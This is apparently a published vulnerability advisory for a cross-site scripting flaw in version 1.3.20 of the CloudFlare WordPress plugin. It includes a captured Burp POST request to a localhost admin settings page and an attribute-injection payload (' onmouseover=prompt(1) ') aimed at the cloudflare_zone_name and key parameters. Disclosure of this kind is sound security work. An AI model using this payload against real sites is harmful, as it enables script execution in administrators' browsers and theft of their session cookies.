Product: CloudFlare
Exploit Author: Sachin Wagh
Version: 1.3.20
Home page Link: https://wordpress.org/plugins/cloudflare/
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Details:
The CloudFlare plugin for WordPress is prone to a multiple cross-site
scripting vulnerability because it fails to sufficiently sanitize
user-supplied input.
An attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected
site. This may allow the attacker to steal cookie-based authentication
credentials and to launch other attacks.
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Burp Request:
1.  Proof-Of-Concept :
POST /wordpress-4.4/wordpress/wp-admin/options-general.php?page=cloudflare
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=cloudflare
Cookie: wp-saving-post=18-check;
wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459166935%7CmhzDPJLTdAv6wtFthkPMuBVbqk9E3xYpDYYM4BUX6ZO%7Cab29c43dbb33e3d5a29f2429300eb002222bdd9b6b858ae3b013c18bcc0bb553;
wp-settings-time-1=1458990477;
wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459166935%7CmhzDPJLTdAv6wtFthkPMuBVbqk9E3xYpDYYM4BUX6ZO%7Cf50e3437ac630f6c710ae4be1f6f8a735a9531ece8b65c9b654d9ad8a5e52aa2;
security_level=0; _ga=GA1.1.1331075502.1458634204;
PHPSESSID=4gaqfar5bmtmrnpana3a6crff6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 299
cloudflare-db-api-nonce=0eabd6433c&_wp_http_referer=%2Fwordpress-4.4%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcloudflare&cloudflare_zone_name=XSS-1&key=XSS-2&email=sa%40gmail.com&protocol_rewrite=1&submit=Update+options+%C2%BB
2.  Payload : " onmouseover=prompt(1) "
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Vulnerable Product:  [+]  CloudFlare 1.3.20
Vulnerable Parameter(s):
[+]cloudflare_zone_name
 [+]key

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Affected Area(s):
[+]  http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=cloudflare
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Credits & Authors :
Sachin Wagh (@tiger_tigerboy)
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